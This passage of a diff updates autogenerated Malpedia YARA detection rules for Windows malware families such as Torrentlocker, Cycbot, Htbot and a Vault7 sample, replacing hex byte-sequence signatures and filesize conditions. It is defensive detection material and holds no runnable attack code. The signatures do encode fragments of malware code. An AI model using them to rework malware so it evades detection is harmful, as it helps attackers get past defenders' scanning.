"https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_kt3_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "d7bfc13c167a32046dd8425d3e3ec521c6bca90fe7d99db8d3d9dc97a5192526" + logic_hash = "43bd0b6c16f3b291b1fdceb004531872c299302c3bdde3bd6c507ecd76a92465" score = 75 quality = 75 tags = "FILE" @@ -120999,32 +121016,32 @@ rule MALPEDIA_Win_Grager_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48898534020000 4c8bc7 89853c020000 8b83d0200000 898520020000 c7852402000004000010 } - $sequence_1 = { 4c8d35a5e6ffff 0f1f440000 84c9 0f84d1010000 48ffc7 } - $sequence_2 = { bb01000000 e9???????? 8b4a08 33db 488bbfc8050000 81c113fcffff 488b7218 } - $sequence_3 = { 48890b 488d5308 488d4808 0f1102 e8???????? 488d058cdb0100 } - $sequence_4 = { 0fb605???????? 88814e050000 33c0 89814f050000 888153050000 33ff 4889b958050000 } - $sequence_5 = { 488bf9 488d1584a10100 b904000000 e8???????? 8bd3 488bcf } - $sequence_6 = { 4c8d0d45c80000 f20f101d???????? f20f100d???????? f20f59da } - $sequence_7 = { 4c8bc3 8d040e 488d8d44030000 898540030000 e8???????? 488d0dd61bfeff } - $sequence_8 = { 5d c3 8bc7 4883c470 415f 415e 415c } - $sequence_9 = { 4883ec20 8bd9 4c8d0d21eb0000 b904000000 4c8d050deb0000 488d1586c20000 e8???????? } + $sequence_0 = { 83c1ff 51 8b4df4 51 8b15???????? 52 } + $sequence_1 = { 51 e8???????? 83c404 8985e0fbffff 8b85e0fbffff 8985ecfbffff } + $sequence_2 = { 8b4dfc 0fbe5103 83fa3e 750f } + $sequence_3 = { 0f8408000000 0f8502000000 ebe9 c745dc00000000 } + $sequence_4 = { 8b55f8 2b55fc 8955f8 ebb7 8b4510 5f } + $sequence_5 = { 51 8b55f4 52 8d4de4 e8???????? 8b45e8 } + $sequence_6 = { 8b4dfc 83c10b 894df4 6a20 } + $sequence_7 = { 8d41fc 8b4c2404 2bc1 c3 6800000300 } + $sequence_8 = { 8dbdecfeffff 83c9ff 33c0 f2ae f7d1 83c1ff } + $sequence_9 = { 51 8b55f4 52 8d4de4 e8???????? } condition: - 7 of them and filesize < 487424 + 7 of them and filesize < 114688 } -rule MALPEDIA_Win_Shipshape_Auto : FILE +rule MALPEDIA_Win_Vendetta_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d9d684b1-6d28-5be9-a8dd-2a5e64ca3d0c" + id = "bcdb1310-b09c-513a-b41a-f75320f7a85e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shipshape" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shipshape_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vendetta" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vendetta_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "7ccbb1b47c0ba6ada9222b7cb4a37cd39065499a023a5e14e23083e9a19aaeee" + logic_hash = "5c2304aa47000d3a15dbc6575084e1756c9655c08eb53d8a6e39024d5b55c108" score = 75 quality = 75 tags = "FILE" @@ -121038,32 +121055,32 @@ rule MALPEDIA_Win_Shipshape_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d9424f8010000 c1e902 f3a5 8bc8 } - $sequence_1 = { 83f843 7c55 50 e8???????? } - $sequence_2 = { 8bf7 c1f805 83e61f 8d1c8560d54000 c1e603 } - $sequence_3 = { 83e11f 8b3cbd60d54000 8d3ccf eb05 bf???????? } - $sequence_4 = { f3a5 8bcd 8d942434030000 83e103 f3a4 8dbc2434020000 83c9ff } - $sequence_5 = { 808801c4400008 40 3dff000000 72f1 } - $sequence_6 = { 8bbc2410020000 83c9ff 33c0 8d54240c f2ae } - $sequence_7 = { 55 ff15???????? 5d 5b 81c440060000 c3 56 } - $sequence_8 = { 0f8430010000 8dbc2434010000 83c9ff 33c0 8d9424b4010000 } - $sequence_9 = { 52 50 e8???????? 8b4c241c 8b542418 } + $sequence_0 = { e9???????? c745e0e8924100 e9???????? c745e0d4924100 } + $sequence_1 = { 8bf1 83caff bf00040000 0fb60e } + $sequence_2 = { 40 c745ec7c994000 894df8 8945fc 64a100000000 8945e8 } + $sequence_3 = { 83ef01 75d4 f7d2 5f 8bc2 5e } + $sequence_4 = { 53 8d85f0f7ffff 50 56 ff15???????? } + $sequence_5 = { 84c0 0f843b010000 8d770c 6a2c } + $sequence_6 = { 8b85e0feffff 03b40518ffffff 03b0acb04100 03b5f8feffff } + $sequence_7 = { 238df4feffff 8b85e0feffff 03b40508ffffff 03b09cb04100 8bc3 03b5dcfeffff 01b5f8feffff } + $sequence_8 = { 3385ecfeffff 23c2 3385f8feffff 03f0 8b85e0feffff 03b40514ffffff 03b0a8b04100 } + $sequence_9 = { 7f0e 7c08 81fa00000080 7704 } condition: - 7 of them and filesize < 338386 + 7 of them and filesize < 296960 } -rule MALPEDIA_Win_Wonknu_Auto : FILE +rule MALPEDIA_Win_Cycbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5d7ac694-4f51-5dc8-9ab7-ab21fb225c95" + id = "aad0afc1-3e31-5a15-bed5-ae0a7936ed7d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wonknu" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wonknu_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cycbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cycbot_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "e2ca1c08f61486fefbae5d981f9ebfcfe0d01c7d31c8206cfd558443ffe8ed91" + logic_hash = "653a5c288b88440ecab3bfd86c4c4b0d9e0fe555f9cf936dfb136b22da063d90" score = 75 quality = 75 tags = "FILE" @@ -121077,32 +121094,32 @@ rule MALPEDIA_Win_Wonknu_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 53 56 57 6804140000 } - $sequence_1 = { f3a5 8bcb e8???????? 803b00 } - $sequence_2 = { 8bfc b901050000 f3a5 8bcb e8???????? 803b00 } - $sequence_3 = { e8???????? 8bfc b901050000 f3a5 8bcb e8???????? } - $sequence_4 = { e8???????? 8bfc b901050000 f3a5 8bcb e8???????? 803b00 } - $sequence_5 = { c6840550ffffff00 8d8550ffffff 50 e8???????? } - $sequence_6 = { 8bfc b901050000 f3a5 8bcb e8???????? } - $sequence_7 = { 8d7e28 57 ff15???????? 8b4608 } - $sequence_8 = { b901050000 f3a5 8bcb e8???????? 803b00 } - $sequence_9 = { eb08 c6840550ffffff00 8d8550ffffff 50 e8???????? } + $sequence_0 = { c705????????480f4200 8935???????? a3???????? ff15???????? a3???????? 83f8ff 0f84c1000000 } + $sequence_1 = { 895dfc 51 8d4db8 8945cc 895dc8 885db8 e8???????? } + $sequence_2 = { 741a ff7590 ff15???????? 85c0 750d ff7590 e8???????? } + $sequence_3 = { c68424c805000001 e8???????? 53 6a01 8d4c2474 8bf0 } + $sequence_4 = { e8???????? 83c418 6a00 8d842488000000 50 8d8c2494010000 51 } + $sequence_5 = { 48 7514 8d8550ffffff eb08 8d45c8 eb03 8d45a0 } + $sequence_6 = { 59 898580deffff 3bc7 7433 83bd9cdeffff10 8b8588deffff 7306 } + $sequence_7 = { 50 ff5110 8985b4fbffff 3bc7 0f857e010000 8b85a8fbffff 8b08 } + $sequence_8 = { 50 8d4c2430 e8???????? 8bf0 59 3bf3 752f } + $sequence_9 = { 33c0 66898580fbffff 6a04 5b 899dbcfbffff c785c0fbffff02000000 899dc4fbffff } condition: - 7 of them and filesize < 540672 + 7 of them and filesize < 1163264 } -rule MALPEDIA_Win_Comebacker_Auto : FILE +rule MALPEDIA_Win_Minitypeframe_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "19238c8d-fa63-54d2-9e85-3ef6a0f14568" + id = "dc23eb24-7d5a-5aeb-a61b-eb29d1fabf92" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.comebacker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.comebacker_auto.yar#L1-L159" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.minitypeframe" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.minitypeframe_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "5042f5e1cb03a035d2e07683a701a487f9bff93086c3cbb30af6f5ad30fe783b" + logic_hash = "649cd851124eccf39a4d1794ac9ee18b8f663aea1274862230eac021ea9eebf8" score = 75 quality = 75 tags = "FILE" @@ -121116,37 +121133,32 @@ rule MALPEDIA_Win_Comebacker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6683f809 7f04 0430 eb02 0437 } - $sequence_1 = { baa2000000 4c8d0d47450300 b910000000 448d42a0 } - $sequence_2 = { 0fb6c2 418b8c8270c30400 81e100ff0000 4433c1 453341fc 453343fc } - $sequence_3 = { b801000000 418bc8 0f45c8 488d05c0150300 488d1d11aa0300 85c9 } - $sequence_4 = { 4c8d0583520100 418d5216 e8???????? 85c0 750a b805000000 } - $sequence_5 = { 6690 e8???????? 48ffc3 8bf8 b84fecc44e f7ef } - $sequence_6 = { 89742440 48894598 c744245068000000 c744247004010000 } - $sequence_7 = { 0fb6c8 8bc5 8b948e70cf0400 48c1e808 0fb6c8 81e20000ff00 } - $sequence_8 = { e8???????? a1???????? 8b8da8f8ffff c1e00a d1e8 2bcf } - $sequence_9 = { 33d2 8a54242a 8adc 8b149538600410 } - $sequence_10 = { 5b c3 8b74241c 8b6c2414 85f6 } - $sequence_11 = { 6806020000 8d8d7ef7ffff 53 51 885de8 8945e9 } - $sequence_12 = { 52 ff15???????? a3???????? 85c0 7440 399de8e5ffff 750a } - $sequence_13 = { 8b0c8d38500410 33d3 8b3cbd38500410 81e1ff000000 } - $sequence_14 = { 74ab 8d8df4feffff 51 e8???????? 83c404 } + $sequence_0 = { 68???????? 6a0c 6a05 f3a4 e8???????? 8b8dd8000000 8d442430 } + $sequence_1 = { 83c414 85c0 750a 68bf080000 e9???????? 8b563c 8b7a04 } + $sequence_2 = { 8b4c2444 8039a6 0f8504010000 894c2464 8d4c2420 50 8d542420 } + $sequence_3 = { 8b1c9d78060910 81e300ff0000 33fb 8bda c1eb18 8b1c9d780e0910 81e3000000ff } + $sequence_4 = { e8???????? 83c40c 85c0 751a 6a4b 68???????? } + $sequence_5 = { 83c408 e9???????? 668b15???????? 66c744245c0200 52 ff15???????? 8d4c245c } + $sequence_6 = { c644240416 884c2405 c6442406ba c644240708 c644240898 c644240958 c644240ac1 } + $sequence_7 = { 51 52 e8???????? 8d442414 6a08 } + $sequence_8 = { 6854050000 68???????? 6a44 689b000000 6a14 e8???????? 83c418 } + $sequence_9 = { e8???????? 8bf8 83c404 3bfb 0f8e07020000 c74634d0210000 895e44 } condition: - 7 of them and filesize < 1429504 + 7 of them and filesize < 1589248 } -rule MALPEDIA_Win_Torrentlocker_Auto : FILE +rule MALPEDIA_Win_Purplewave_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7392e065-18c2-5313-a3d1-b30d3efcbeb2" + id = "f9a895ad-7289-518b-be54-7444bb9c0feb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.torrentlocker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.torrentlocker_auto.yar#L1-L169" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplewave" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.purplewave_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "9e477f7e8b8247df899448f8dfaacbe7088b9d7adf1371f318f6d0bbdd12c5e7" + logic_hash = "2b8c8451c42e657113c26199005fb6974947a93818322a1c2e41a19d47cbd34a" score = 75 quality = 75 tags = "FILE" @@ -121160,38 +121172,32 @@ rule MALPEDIA_Win_Torrentlocker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c3 83f801 7405 83f802 } - $sequence_1 = { 6a01 68???????? ff15???????? 85c0 7510 6a78 50 } - $sequence_2 = { 6a02 e8???????? 83c430 85c0 } - $sequence_3 = { 41 81f9f1ff0000 7206 81e9f1ff0000 } - $sequence_4 = { 6a03 e8???????? 83c410 83f8ff 7404 a810 } - $sequence_5 = { 6685d2 75f1 8bcf 8bf7 668b11 83c102 } - $sequence_6 = { 7526 68400000f0 50 6a00 6a00 } - $sequence_7 = { 51 52 50 ff15???????? 85c0 7519 } - $sequence_8 = { 7415 81f9340000c0 7407 85c9 750e 33c0 } - $sequence_9 = { 85c0 740a c705????????ffffffff 8b15???????? 6a00 6a01 } - $sequence_10 = { 56 6a00 52 ff15???????? 5e 8bc7 } - $sequence_11 = { 751f ff15???????? 3d16000980 753d 68080000f0 } - $sequence_12 = { 6a18 6a00 6a00 68???????? ffd6 83f801 7526 } - $sequence_13 = { 750b 68???????? ff15???????? 8bc3 } - $sequence_14 = { 51 ff15???????? c705????????00000000 eb39 8b15???????? 6a0c } - $sequence_15 = { 8bc6 5e 5f c3 be04000000 } + $sequence_0 = { 8bc1 c1f806 83e13f 6bc938 8b0485201e4900 80640828fe ff36 } + $sequence_1 = { 395914 7202 8b09 85f6 7410 8bd1 66833a3a } + $sequence_2 = { 59 8945c0 894dc4 8845b0 8945d8 894ddc } + $sequence_3 = { 8bec 8b5508 56 0fb67203 0fb64202 0fb64a01 c1e608 } + $sequence_4 = { 8d8d14ffffff e8???????? 68???????? 8d8d14ffffff c645fc20 e8???????? 50 } + $sequence_5 = { 51 8d4dd4 e8???????? ff734c e8???????? 59 3bc7 } + $sequence_6 = { 8b4e08 8902 894a04 895004 8911 8b4508 } + $sequence_7 = { 8d7b04 899d5cfdffff 33c0 c703???????? 83671000 c7471407000000 668907 } + $sequence_8 = { 8d8d14ffffff e8???????? 68???????? 8d8d14ffffff c645fc60 e8???????? 50 } + $sequence_9 = { e9???????? c3 8d4db0 e9???????? 8d4dbc e9???????? 8d8df8fbffff } condition: - 7 of them and filesize < 933888 + 7 of them and filesize < 1400832 } -rule MALPEDIA_Win_Dratzarus_Auto : FILE +rule MALPEDIA_Win_Mapiget_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f9302a79-cbbb-577e-b0de-afebe2c4bd13" + id = "90931f84-8d97-5d03-9fd8-5157c4363161" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dratzarus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dratzarus_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mapiget" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mapiget_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "0edbbc2d6b5b6d721d8b3aacd843dcee1111d0fce65e6b309e3647e78f406b33" + logic_hash = "db2ad0ac6ed98d9fe4028516eb88a6adb15c290b65682d6ffe66f99e185c09f3" score = 75 quality = 75 tags = "FILE" @@ -121205,32 +121211,32 @@ rule MALPEDIA_Win_Dratzarus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c7850002000016bc0b71 c78504020000128aa4ac c785080200000fa52ff4 c7850c020000421880f6 c7851002000023121336 } - $sequence_1 = { c7852802000014a20b6d c7852c02000012d8a499 c785300200000fa32ffa c78534020000420d80c7 c78538020000230a133f 66c7853c0200003e85 } - $sequence_2 = { 894511 66894515 8b05???????? 894517 0fb705???????? 6689451b } - $sequence_3 = { 6689440afe 6685c0 75ef 33c0 4883c9ff 488dbc2480060000 } - $sequence_4 = { 488d8de0000000 ba0f000000 488905???????? e8???????? 488bcb 488bd0 ff15???????? } - $sequence_5 = { bf01000000 488bcb ff15???????? 8bc7 488b8c2460020000 4833cc e8???????? } - $sequence_6 = { c74424306133dc18 c7442434679eb315 66c744243876d4 c785e0000000eb6cf5c3 } - $sequence_7 = { c7450c4b676e4a c745101d29ecd4 c745142daca8b6 c64518f2 c785800000005e7c6d4c c78584000000747e6447 c785880000003134f9ef } - $sequence_8 = { 89842454020000 e8???????? b902000000 8d5701 4533c0 } - $sequence_9 = { 488bd0 ff15???????? 488d8da0020000 ba14000000 488905???????? e8???????? 488bd0 } + $sequence_0 = { 59 7433 8305????????20 8d0cbd20174100 8d9000010000 } + $sequence_1 = { 50 51 52 c744244044000000 c744244808e24000 c744246c01000000 ff15???????? } + $sequence_2 = { b97f000000 33c0 8d7c242a 66895c2428 66899c2428020000 } + $sequence_3 = { 8d7c2418 8b542468 f3ab 6689442444 8d442404 8d4c2414 50 } + $sequence_4 = { 8b4c2468 6a00 6a00 6a00 52 } + $sequence_5 = { 8d85f0feffff 52 8d8d70ffffff 50 8d95f0fdffff 51 } + $sequence_6 = { 6683bc45eefeffff0a 7517 8d95f0feffff 52 } + $sequence_7 = { c1e603 8d1c8520174100 8b048520174100 03c6 } + $sequence_8 = { 8b5c2408 55 83cdff 56 83fb02 57 be01000000 } + $sequence_9 = { 50 e8???????? 83c404 6689bc456effffff 8d8df0feffff } condition: - 7 of them and filesize < 1606656 + 7 of them and filesize < 163840 } -rule MALPEDIA_Win_Minibus_Auto : FILE +rule MALPEDIA_Win_Tonedeaf_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9a553746-bfda-50b5-bcb8-f78a742705c0" + id = "45b13e7e-c29b-5480-ade9-d6d61b9a86df" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.minibus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.minibus_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tonedeaf" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tonedeaf_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "633d35aef0c45891bfd2d9690e003786b5685be07a68c0378a6a4c37c3387340" + logic_hash = "ffe23054663c8cef941b8fef13d66b93a10d69fedb5bcac05b4afd2fa9414e88" score = 75 quality = 75 tags = "FILE" @@ -121244,32 +121250,32 @@ rule MALPEDIA_Win_Minibus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7cc3 eb25 85db 7421 83ceff 8bc6 } - $sequence_1 = { 0fb742fe 83f85c 7438 83f82f 7433 8b4de4 } - $sequence_2 = { 50 8d7720 e8???????? 8b9590fdffff 8b8584fdffff } - $sequence_3 = { e8???????? 8945f8 3bd8 0f841d010000 } - $sequence_4 = { 8d4701 3dffffff7f 0f87e8000000 03c0 3d00100000 722a } - $sequence_5 = { 83fa08 7202 8b3e 8d041b 50 ff75f8 } - $sequence_6 = { 33ff 33db 897de4 895de8 85f6 7421 } - $sequence_7 = { e8???????? 8b4de8 83c40c 83f908 7234 } - $sequence_8 = { 8bf1 8975b8 8975ac c745b000000000 c7461000000000 c7461400000000 c70600000000 } - $sequence_9 = { 8bd1 57 c70600000000 c74604ffff0000 8b4a1c 8bc1 } + $sequence_0 = { 8b45ec 85c0 740b 6a08 50 } + $sequence_1 = { 2bd9 2bf1 8bc3 46 } + $sequence_2 = { 33c0 660fd645d4 33db 8945d8 } + $sequence_3 = { 8b5004 8d4af8 898c153cffffff 8d45a8 c745fc01000000 } + $sequence_4 = { 6a00 ff15???????? 56 ff15???????? 56 ff15???????? } + $sequence_5 = { 75f3 8bf3 8a03 43 84c0 } + $sequence_6 = { 33c0 660fd645d4 33db 8945d8 895dd4 } + $sequence_7 = { 75f3 8bf3 8a03 43 84c0 75f9 2bde } + $sequence_8 = { c745dc00000000 33c0 660fd645d4 33db 8945d8 895dd4 } + $sequence_9 = { 8a0e 8d7601 884c32ff 84c9 75f3 8bf3 8a03 } condition: - 7 of them and filesize < 324608 + 7 of them and filesize < 851968 } -rule MALPEDIA_Win_Curator_Auto : FILE +rule MALPEDIA_Win_Unidentified_020_Cia_Vault7_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "88dd85f1-9cc3-5f60-833e-59e5ff5c2a14" + id = "50fc15f3-1120-5098-a2b0-ef6606f64bfb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.curator" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.curator_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_020_cia_vault7" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_020_cia_vault7_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "ce369866ebd7e0f8a7ef01400f189e7f18bf8531561abd861592d244202fec85" + logic_hash = "17fe086c6d5f4507ec1675a18ca14445f60cf526d184ed9a8460c468298fa68d" score = 75 quality = 75 tags = "FILE" @@ -121283,32 +121289,32 @@ rule MALPEDIA_Win_Curator_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d4108 4889459f 488d5d8f 4883fa10 480f435d8f 4803d9 41b808000000 } - $sequence_1 = { 488b07 488d542420 488bcf ff9090000000 488bcd 48c1e903 488b4620 } - $sequence_2 = { 85c0 0f4ed0 e8???????? 488d15c2140400 488d4c2420 e8???????? cc } - $sequence_3 = { 5d c3 4883c202 488915???????? 0fbe0a 85c9 74bd } - $sequence_4 = { 8b45d8 e9???????? 0fbe42ff 488d4dd0 83c004 4863d0 488d05abbf0300 } - $sequence_5 = { 83e802 0f853ffaffff 660f6fa42400010000 660ffe2424 660f6fac24d0010000 660ffeac24d0000000 660f6fb424a0010000 } - $sequence_6 = { 4156 4157 4883ec50 488b7128 4c8d25880c0000 33ed 488bf9 } - $sequence_7 = { 488945e0 895128 488d0d332f0300 488b45d8 488908 488d0d950a0500 488b45d8 } - $sequence_8 = { 0fb68c2490000000 4c8d0501350300 4803da 4883f101 4803d9 482bfb 488bcb } - $sequence_9 = { ff15???????? 4885c0 7411 488bc8 ff15???????? 3bc6 0f84eb040000 } + $sequence_0 = { 50 8d45f0 64a300000000 8965e8 8b7d08 c745fc00000000 8b07 } + $sequence_1 = { a1???????? 33c4 89842428080000 8b4508 53 } + $sequence_2 = { 52 8d85c6f7ffff 50 e8???????? 8bbdb8f7ffff } + $sequence_3 = { 33c0 8d8decfdffff 51 8d95c8fdffff 52 8985ccfdffff } + $sequence_4 = { 50 ff15???????? 85c0 7516 56 8945f8 } + $sequence_5 = { 68???????? 57 ff15???????? 8bd8 3bdf 742e 53 } + $sequence_6 = { 8907 897704 8b8dbcf7ffff 890f 50 } + $sequence_7 = { 837e1400 750f 6a7f ff15???????? 33c0 5e 8be5 } + $sequence_8 = { 68???????? 33f6 68???????? 56 8975fc c745f801000000 ff15???????? } + $sequence_9 = { 6aff 51 8b4d0c 6804010000 51 e8???????? 83c410 } condition: - 7 of them and filesize < 1265664 + 7 of them and filesize < 253952 } -rule MALPEDIA_Win_Neteagle_Auto : FILE +rule MALPEDIA_Win_Htbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "32895ae7-ce57-521b-b8af-c26cb59a6de4" + id = "39a927d2-1945-5991-992e-cc87b6814598" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.neteagle_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.htbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.htbot_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "cd9004d8f3e934bcdc5c7488fb3dbf59ca59052c62f38c8a57dd749c0498c5bb" + logic_hash = "d80214a974c7da7b11a6b3decefcabbf12f30dbe8a8667d77b9a26c8d44a14ba" score = 75 quality = 75 tags = "FILE" @@ -121322,32 +121328,32 @@ rule MALPEDIA_Win_Neteagle_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b86040c0000 40 8d0c40 c704ce02000000 e9???????? 8b54242c } - $sequence_1 = { 8b4c241c 52 53 50 51 ff15???????? 85c0 } - $sequence_2 = { 8b461c 85c0 0f849e010000 8bce e8???????? 85c0 0f848f010000 } - $sequence_3 = { 8bf8 6804010000 897c2424 c744242804010000 c744242c01000000 e8???????? 8b8c2464010000 } - $sequence_4 = { 8b4b24 03c8 89542901 8b4b24 8b542438 03c8 89542905 } - $sequence_5 = { 6a17 50 8bcb e8???????? 8d4da0 6a0f 8d55e0 } - $sequence_6 = { e8???????? 8b470c 83c604 8b0430 85c0 75e1 33f6 } - $sequence_7 = { a1???????? 83f801 7f82 5f 5e 5b 8b4dfc } - $sequence_8 = { 68???????? 52 ffd5 83c408 8d4c2440 85c0 0f94c3 } - $sequence_9 = { 894d98 8b8de4feffff 89559c 8945a0 8d95e8feffff 6a64 8d45d8 } + $sequence_0 = { 6857000780 e8???????? 83c601 8d4e0a 3bcd 0f8db6000000 85f6 } + $sequence_1 = { 83c002 6685c9 75f5 2bc2 d1f8 0f88ce020000 } + $sequence_2 = { 8d7c241c 8d442420 c644246003 e8???????? 85c0 0f84e1000000 8d4900 } + $sequence_3 = { c68424b410000004 e8???????? 8b442430 8b00 8b8c24b8100000 8d542448 } + $sequence_4 = { 8b11 50 8b4204 ffd0 c64424340a 8b44241c } + $sequence_5 = { 51 8b4ef0 8b11 8b4210 83c6f0 89642428 8bdc } + $sequence_6 = { 8b4c2414 51 ff15???????? 8d54241c 52 } + $sequence_7 = { 8b11 8b4204 57 ffd0 83c510 896c2414 } + $sequence_8 = { 384802 7550 384803 744b 83c004 3808 7418 } + $sequence_9 = { 2bc1 d1f8 83f8ff 755c 3959f4 } condition: - 7 of them and filesize < 262144 + 7 of them and filesize < 196608 } -rule MALPEDIA_Win_Stresspaint_Auto : FILE +rule MALPEDIA_Win_Kazyloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "60972f0d-5b32-562d-b7a1-4042f30f34cb" + id = "8e63e9d7-0aa3-54bc-8958-5bb44d9fbb2a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stresspaint" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stresspaint_auto.yar#L1-L150" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kazyloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kazyloader_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "d56631be02335c29e6f4a5ef8e07a5da331d1e0c248639e3a06714253e875bf3" + logic_hash = "34cc9a0cb8805c010ff93ad518256fe67686f6553b5dc947370b69715033db6f" score = 75 quality = 75 tags = "FILE" @@ -121361,38 +121367,32 @@ rule MALPEDIA_Win_Stresspaint_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d542478 51 52 e8???????? 8b44244c } - $sequence_1 = { 8d542478 c6042b00 3bda 7505 } - $sequence_2 = { 0103 014510 294514 83665800 } - $sequence_3 = { 0106 83560400 837d1c00 7494 } - $sequence_4 = { 0103 014510 294674 8b4674 } - $sequence_5 = { 8d542901 52 6a1e 56 } - $sequence_6 = { 0107 115f04 3bcb 7508 } - $sequence_7 = { 8d542478 52 57 e8???????? 83c408 } - $sequence_8 = { 8d542478 f3ab 8b8c24a4000000 8b8424a0000000 } - $sequence_9 = { 0107 83570400 85c9 7508 } - $sequence_10 = { 8d542478 898c2498010000 8d8c2494010000 52 } - $sequence_11 = { 010b 8945fc 8bc2 83530400 } - $sequence_12 = { 0103 ebaa 8b442408 56 } - $sequence_13 = { 8d542474 51 55 52 8bce e8???????? } - $sequence_14 = { 0108 8b8e44010000 114804 8b4f18 } - $sequence_15 = { 8d542901 52 6a1f 56 } + $sequence_0 = { d2 9c 07 06 8e } + $sequence_1 = { 1309 1109 3a3fffffff 02 09 6f2700000a } + $sequence_2 = { 6f1a00000a 281b00000a 26 00 de00 } + $sequence_3 = { 8e 69 58 280100002b } + $sequence_4 = { 00 08 16 06 06 8e 69 } + 